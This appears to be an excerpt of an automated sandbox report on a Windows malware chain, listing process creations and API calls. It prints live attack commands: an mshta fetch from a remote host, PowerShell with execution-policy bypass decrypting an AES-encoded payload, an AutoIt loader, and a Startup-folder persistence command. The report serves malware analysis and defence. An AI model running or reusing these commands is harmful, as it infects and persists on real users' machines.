Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E8AF58 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00007FF7C0E8AF58
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E757E4 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00007FF7C0E757E4
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E759C8 SetUnhandledExceptionFilter,	11_2_00007FF7C0E759C8
Source: C:\Users\Public\Guard.exe	Code function: 20_2_006DA354 SetUnhandledExceptionFilter,	20_2_006DA354
Source: C:\Users\Public\Guard.exe	Code function: 20_2_006DA385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	20_2_006DA385
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002BA354 SetUnhandledExceptionFilter,	24_2_002BA354
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002BA385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	24_2_002BA385

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

11_2_00007FF7C0EBCE68

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 11_2_00007FF7C0E537B0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

11_2_00007FF7C0E537B0

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 11_2_00007FF7C0E74514 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,

11_2_00007FF7C0E74514

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 11_2_00007FF7C0EE2464 mouse_event,

11_2_00007FF7C0EE2464

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\System32\mshta.exe" https://tiffany-careers.com/ghep2	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function clean ($RptYb){return -split ($RptYb -replace '..', '0x$& ')};$TmDJyn = clean('85EF51FEE837F812F61F1656D38BD83A6C01DC072CBCF246D841948987B9BF3C9407C4F8ABE6B3AC5C50C036D5BF68E3CA56C456FB1B2404AC5CC6C48224E43EFF1648E7AF29CE17BF2F62A8A7C7F4DE07613F737B271AA100A67B779C122AD966C15CB3C823908B36BCCBE9B592D037365125E56312B004E07F513AA459ACF6BFEB51AC31152191AF94E56667A3D2A99C72466ED1996C430D4FDBDAAC444A645133FFD6F506740CE6AE51237562A4307EAF56A5E569B87DC171D550AD8A419C8822B7E0E8357121B4EE75DD16DB89B145D82B1C909ABECFAF2CA7275A13D2BF9E37AD98257B106D88D6988DB290C39C801B5ACD6E2249F2E178FCF16B59452E1DF6068D3A31595646428A980314EE83988BEB6E930DAD4F3640861D45D0A054E18C6A6A1DC88EC8B63FC99EA26D553E7BB5359CA978A904B26D285DA2E961D2C21E99F57B1C7F312913323B86FA89527AF31A5917C2DA9F587D7AD9CE91B6BF628678DF96FAE7AC81A58B57440B8A9E5A64E9BA96EB65240C98299F091495E74DF32B68B79275E2937AB69BF3BD5F0EC1E9A16BF58DA85A870C384779CDAD74B0CCBA5DB9AC7C88E57A05E5FB4B20E10C6C366F1EB3C39148D6FD619830E132F469D25D555A553DD869B43849F23E017958E14F9380CFE36FC613F285B96CA940C562F0BBE8C241411E58D012E23CE1C600E9337A739DB5AE1933D65A4E4AF946B7B1F6CF268BD58702C1B7772610043D981C68C31564F5D9BCBC8CD96ECCFFEEA53D365D01D36E4B3484C95363DD6F39138A67AA362CC9C4190026ABF641C6DF0E5D4A3DE01E05606278D5D2CD0D85DC89F086FAFB7491F9C40F89ED33F7D31C9484F5A8801EF1BABD7938BE509E2133642C8F35CA6BC2E09BEBD5D6E25F0DC30937B429ECB2F268B5D43052547BFA5B9ED413A38A20627D472EFB0F8E5508505831BA8934BFEEB8AE9A4BF2628245B5EC010BF6D308960A15DD28CFFB2D4FDABA50ADBE760CF86DACFCC1CC10A16D02B0C2946FCEDF74A822836F4B0F4975FF46B0CBA3CB495C20FC2E2D372C357A0897500BE09B0F824AA768EAFC28D39243CF341DE1E2A07E5CBD4B0252080E82D760C61806F6F7994A7DE1DCAB9D55F435A87A935C06EC1E878265F121BBA0C1C3B138C1C358E3620FE1A9D778846E6E0CC25C2E6EF13359D6033DE5B1EE13790F98BE7CD35C3B754897DB4583B2B846BCD4E1906C8F2416336E8F269DA57FC2A9824FD6457D1FBC840D50A0EBE6EA5D36FCDCAEB24318E174CC5E33792642277DCC1EBD38F0C1E9233BA2B6E85C963CD7EA29A78A0D2F2F3C1C85EEA9CB646881CEB314F342ECD05D23D5A754721D804D2562F5FDA471331489B61431D4EB09A03B9EF4D7FB5B3E8091B05427A6364A5B6D0281A41D08DF8F77CE3D19BBEDA721A10EB0619CC5BD0A356D2E124CD2962CE26B9E426500BC09F540E75EBD01524B2439910F6000364849B4B849A10268817BBDBE676C5F3DC1D39FA1F1A09760E6B0902B7C52C8F09DE7BF7015A029559284A573439130DC0912C8C12F8AFD9D26F921AF247BD1AFFBD37E1985F8D2709B4CE2681126C3BE8125DB7B0AB4C0CF4566221DEE6A82BC22EC143820A60C9066D3FDD32C6A78427A2E86463B2B6FFB7F128E906DB4659BDD9607349255B9A7F5362978B75C4A3D8234B1A87F09B3550450D25B8CC317C18849409DC37399F4E365EF0404E3CFE1AB8DBD8A85A9FF698337D674B0E24EFFA058A278F5943622');$MuOQabMc = [System.Security.Cryptography.Aes]::Create();$MuOQabMc.Key = clean('756561544973656A645A7544464B6A70');$MuOQabMc.IV = New-Object byte[] 16;$LaiuJGbhf = $MuOQabMc.CreateDecryptor();$mGnVsuDWp = [Text.Encoding]::UTF8.GetString($LaiuJGbhf.TransformFinalBlock	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\Marketing.pdf"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\PefjSkkhb.exe "C:\Users\user\AppData\Roaming\PefjSkkhb.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\Guard.exe "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop function clean ($rptyb){return -split ($rptyb -replace '..', '0x$& ')};$tmdjyn = clean('85ef51fee837f812f61f1656d38bd83a6c01dc072cbcf246d841948987b9bf3c9407c4f8abe6b3ac5c50c036d5bf68e3ca56c456fb1b2404ac5cc6c48224e43eff1648e7af29ce17bf2f62a8a7c7f4de07613f737b271aa100a67b779c122ad966c15cb3c823908b36bccbe9b592d037365125e56312b004e07f513aa459acf6bfeb51ac31152191af94e56667a3d2a99c72466ed1996c430d4fdbdaac444a645133ffd6f506740ce6ae51237562a4307eaf56a5e569b87dc171d550ad8a419c8822b7e0e8357121b4ee75dd16db89b145d82b1c909abecfaf2ca7275a13d2bf9e37ad98257b106d88d6988db290c39c801b5acd6e2249f2e178fcf16b59452e1df6068d3a31595646428a980314ee83988beb6e930dad4f3640861d45d0a054e18c6a6a1dc88ec8b63fc99ea26d553e7bb5359ca978a904b26d285da2e961d2c21e99f57b1c7f312913323b86fa89527af31a5917c2da9f587d7ad9ce91b6bf628678df96fae7ac81a58b57440b8a9e5a64e9ba96eb65240c98299f091495e74df32b68b79275e2937ab69bf3bd5f0ec1e9a16bf58da85a870c384779cdad74b0ccba5db9ac7c88e57a05e5fb4b20e10c6c366f1eb3c39148d6fd619830e132f469d25d555a553dd869b43849f23e017958e14f9380cfe36fc613f285b96ca940c562f0bbe8c241411e58d012e23ce1c600e9337a739db5ae1933d65a4e4af946b7b1f6cf268bd58702c1b7772610043d981c68c31564f5d9bcbc8cd96eccffeea53d365d01d36e4b3484c95363dd6f39138a67aa362cc9c4190026abf641c6df0e5d4a3de01e05606278d5d2cd0d85dc89f086fafb7491f9c40f89ed33f7d31c9484f5a8801ef1babd7938be509e2133642c8f35ca6bc2e09bebd5d6e25f0dc30937b429ecb2f268b5d43052547bfa5b9ed413a38a20627d472efb0f8e5508505831ba8934bfeeb8ae9a4bf2628245b5ec010bf6d308960a15dd28cffb2d4fdaba50adbe760cf86dacfcc1cc10a16d02b0c2946fcedf74a822836f4b0f4975ff46b0cba3cb495c20fc2e2d372c357a0897500be09b0f824aa768eafc28d39243cf341de1e2a07e5cbd4b0252080e82d760c61806f6f7994a7de1dcab9d55f435a87a935c06ec1e878265f121bba0c1c3b138c1c358e3620fe1a9d778846e6e0cc25c2e6ef13359d6033de5b1ee13790f98be7cd35c3b754897db4583b2b846bcd4e1906c8f2416336e8f269da57fc2a9824fd6457d1fbc840d50a0ebe6ea5d36fcdcaeb24318e174cc5e33792642277dcc1ebd38f0c1e9233ba2b6e85c963cd7ea29a78a0d2f2f3c1c85eea9cb646881ceb314f342ecd05d23d5a754721d804d2562f5fda471331489b61431d4eb09a03b9ef4d7fb5b3e8091b05427a6364a5b6d0281a41d08df8f77ce3d19bbeda721a10eb0619cc5bd0a356d2e124cd2962ce26b9e426500bc09f540e75ebd01524b2439910f6000364849b4b849a10268817bbdbe676c5f3dc1d39fa1f1a09760e6b0902b7c52c8f09de7bf7015a029559284a573439130dc0912c8c12f8afd9d26f921af247bd1affbd37e1985f8d2709b4ce2681126c3be8125db7b0ab4c0cf4566221dee6a82bc22ec143820a60c9066d3fdd32c6a78427a2e86463b2b6ffb7f128e906db4659bdd9607349255b9a7f5362978b75c4a3d8234b1a87f09b3550450d25b8cc317c18849409dc37399f4e365ef0404e3cfe1ab8dbd8a85a9ff698337d674b0e24effa058a278f5943622');$muoqabmc = [system.security.cryptography.aes]::create();$muoqabmc.key = clean('756561544973656a645a7544464b6a70');$muoqabmc.iv = new-object byte[] 16;$laiujgbhf = $muoqabmc.createdecryptor();$mgnvsudwp = [text.encoding]::utf8.getstring($laiujgbhf.transformfinalblock
Source: C:\Users\Public\Guard.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & echo url="c:\users\user\appdata\local\wordgenius technologies\swiftwrite.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & exit
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop function clean ($rptyb){return -split ($rptyb -replace '..', '0x$& ')};$tmdjyn = clean('85ef51fee837f812f61f1656d38bd83a6c01dc072cbcf246d841948987b9bf3c9407c4f8abe6b3ac5c50c036d5bf68e3ca56c456fb1b2404ac5cc6c48224e43eff1648e7af29ce17bf2f62a8a7c7f4de07613f737b271aa100a67b779c122ad966c15cb3c823908b36bccbe9b592d037365125e56312b004e07f513aa459acf6bfeb51ac31152191af94e56667a3d2a99c72466ed1996c430d4fdbdaac444a645133ffd6f506740ce6ae51237562a4307eaf56a5e569b87dc171d550ad8a419c8822b7e0e8357121b4ee75dd16db89b145d82b1c909abecfaf2ca7275a13d2bf9e37ad98257b106d88d6988db290c39c801b5acd6e2249f2e178fcf16b59452e1df6068d3a31595646428a980314ee83988beb6e930dad4f3640861d45d0a054e18c6a6a1dc88ec8b63fc99ea26d553e7bb5359ca978a904b26d285da2e961d2c21e99f57b1c7f312913323b86fa89527af31a5917c2da9f587d7ad9ce91b6bf628678df96fae7ac81a58b57440b8a9e5a64e9ba96eb65240c98299f091495e74df32b68b79275e2937ab69bf3bd5f0ec1e9a16bf58da85a870c384779cdad74b0ccba5db9ac7c88e57a05e5fb4b20e10c6c366f1eb3c39148d6fd619830e132f469d25d555a553dd869b43849f23e017958e14f9380cfe36fc613f285b96ca940c562f0bbe8c241411e58d012e23ce1c600e9337a739db5ae1933d65a4e4af946b7b1f6cf268bd58702c1b7772610043d981c68c31564f5d9bcbc8cd96eccffeea53d365d01d36e4b3484c95363dd6f39138a67aa362cc9c4190026abf641c6df0e5d4a3de01e05606278d5d2cd0d85dc89f086fafb7491f9c40f89ed33f7d31c9484f5a8801ef1babd7938be509e2133642c8f35ca6bc2e09bebd5d6e25f0dc30937b429ecb2f268b5d43052547bfa5b9ed413a38a20627d472efb0f8e5508505831ba8934bfeeb8ae9a4bf2628245b5ec010bf6d308960a15dd28cffb2d4fdaba50adbe760cf86dacfcc1cc10a16d02b0c2946fcedf74a822836f4b0f4975ff46b0cba3cb495c20fc2e2d372c357a0897500be09b0f824aa768eafc28d39243cf341de1e2a07e5cbd4b0252080e82d760c61806f6f7994a7de1dcab9d55f435a87a935c06ec1e878265f121bba0c1c3b138c1c358e3620fe1a9d778846e6e0cc25c2e6ef13359d6033de5b1ee13790f98be7cd35c3b754897db4583b2b846bcd4e1906c8f2416336e8f269da57fc2a9824fd6457d1fbc840d50a0ebe6ea5d36fcdcaeb24318e174cc5e33792642277dcc1ebd38f0c1e9233ba2b6e85c963cd7ea29a78a0d2f2f3c1c85eea9cb646881ceb314f342ecd05d23d5a754721d804d2562f5fda471331489b61431d4eb09a03b9ef4d7fb5b3e8091b05427a6364a5b6d0281a41d08df8f77ce3d19bbeda721a10eb0619cc5bd0a356d2e124cd2962ce26b9e426500bc09f540e75ebd01524b2439910f6000364849b4b849a10268817bbdbe676c5f3dc1d39fa1f1a09760e6b0902b7c52c8f09de7bf7015a029559284a573439130dc0912c8c12f8afd9d26f921af247bd1affbd37e1985f8d2709b4ce2681126c3be8125db7b0ab4c0cf4566221dee6a82bc22ec143820a60c9066d3fdd32c6a78427a2e86463b2b6ffb7f128e906db4659bdd9607349255b9a7f5362978b75c4a3d8234b1a87f09b3550450d25b8cc317c18849409dc37399f4e365ef0404e3cfe1ab8dbd8a85a9ff698337d674b0e24effa058a278f5943622');$muoqabmc = [system.security.cryptography.aes]::create();$muoqabmc.key = clean('756561544973656a645a7544464b6a70');$muoqabmc.iv = new-object byte[] 16;$laiujgbhf = $muoqabmc.createdecryptor();$mgnvsudwp = [text.encoding]::utf8.getstring($laiujgbhf.transformfinalblock	Jump to behavior
Source: C:\Users\Public\Guard.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & echo url="c:\users\user\appdata\local\wordgenius technologies\swiftwrite.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & exit

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 11_2_00007FF7C0EBC5FC GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

11_2_00007FF7C0EBC5FC

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 11_2_00007FF7C0EBD540 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

11_2_00007FF7C0EBD540

Source: powershell.exe, 00000006.00000002.2202478685.00000270161B0000.00000004.00000800.00020000.00000000.sdmp, PefjSkkhb.exe, 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmp, Guard.exe, 00000014.00000003.2314578379.00000000044BB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: PefjSkkhb.exe, Guard.exe, SwiftWrite.pif	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 11_2_00007FF7C0E8FD20 cpuid

11_2_00007FF7C0E8FD20

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 11_2_00007FF7C0ED8BF4 GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,wcscat,wcscat,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,wcscpy,

11_2_00007FF7C0ED8BF4

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 11_2_00007FF7C0EB2BCF GetUserNameW,

11_2_00007FF7C0EB2BCF

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 11_2_00007FF7C0E92400 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

11_2_00007FF7C0E92400

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 11_2_00007FF7C0E71D80 GetVersionExW,GetCurrentProcess,IsWow64Process,GetSystemInfo,GetSystemInfo,FreeLibrary,

11_2_00007FF7C0E71D80

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: powershell.exe, 00000012.00000002.2304075109.00000130E1738000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Users\Public\Guard.exe
Source: Guard.exe, 00000014.00000002.3290625854.0000000000BD7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \Device\HarddiskVolume3\Users\Public\Guard.exe
